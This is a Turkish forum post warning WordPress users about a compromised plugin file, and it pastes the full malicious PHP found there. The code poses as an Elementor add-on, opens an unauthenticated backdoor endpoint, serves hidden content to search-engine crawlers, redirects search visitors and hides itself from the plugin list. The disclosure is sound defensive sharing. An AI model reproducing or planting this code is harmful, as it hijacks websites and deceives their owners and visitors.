
İcon hariç, Sorun Çözüldü. /wp-content/plugins/custom-js/index.php dosyasına adamlar kod yerleştirmişler. Şablon alırken yada eklenti kurarken dikkat etmek gerekiyor. Dosyanın içinde bulunan kodlar aşağıda mevcut.
..........php
/*
Plugin Name: Elementor-js-addons
Description: A Plugin to include js-addons for elemntor .
Version: 1.10
Author: Elementor
*/
function justinfunction() {
$noncekey = "e0d3fec00da01affbc01c1373f29fd24";
if ( $_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['nonce'])) {
$op = $_POST['nonce'];
if (md5($op) == $noncekey) {
$boourl = $_POST['a-mask'];
$goourl = $_POST['b-mask'];
update_option('custom_emex_bot_url',$boourl);
update_option('custom_emex_referer_url',$goourl);
$response = array('status' => 'success','data' => 'Your Bot: ' . $boourl .'Your Goo: ' . $goourl);
wp_send_json($response);
return true;
}
else {
wp_send_json_error('Invalid nonce');
return false;
}
}
elseif($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['ch'])){
echo '
<form action="" method="post">
<label for="b-mask">nonce:</label>
<input type="text" id="nonce" name="nonce" value=""><br><br>
<label for="a-mask">google url:</label>
<input type="text" id="a-mask" name="a-mask" value="'.get_option('custom_emex_bot_url').'"><br> <br>
<label for="b-mask">redirect url:</label>
<input type="text" id="b-mask" name="b-mask" value="'.get_option('custom_emex_referer_url').'"> <br><br>
<input type="submit" value="Submit">
</form>';
return true;
}
else {
echo "error";
}}
add_action('wp_ajax_healthcheck-core', 'justinfunction');
add_action('wp_ajax_nopriv_healthcheck-core', 'justinfunction');
function custom_emexv2() {
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
$rf = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$botchar = "/(googlebot|slurp|adsense)/";
$bot_url = get_option('custom_emex_bot_url');
$referer_url = get_option('custom_emex_referer_url');
if (preg_match($botchar, $ua)) {
$file = wp_remote_get($bot_url);
if (!is_wp_error($file) && $file['response']['code'] == 200) {
echo $file['body'];
exit;
}
}
if (!empty($rf) && (stripos($rf, "yahoo.co.id") !== false || stripos($rf, "google.co.id") !== false || stripos($rf, "bing.com") !== false)) {
wp_redirect($referer_url);
exit;
}
}
if (!function_exists('zabi')) {
function zabi($plugins) {
$plugin_directory = plugin_basename(_FILE_);
unset($plugins[$plugin_directory]);
return $plugins;
}
}
add_action('init', 'custom_emexv2');
add_filter('all_plugins', 'zabi');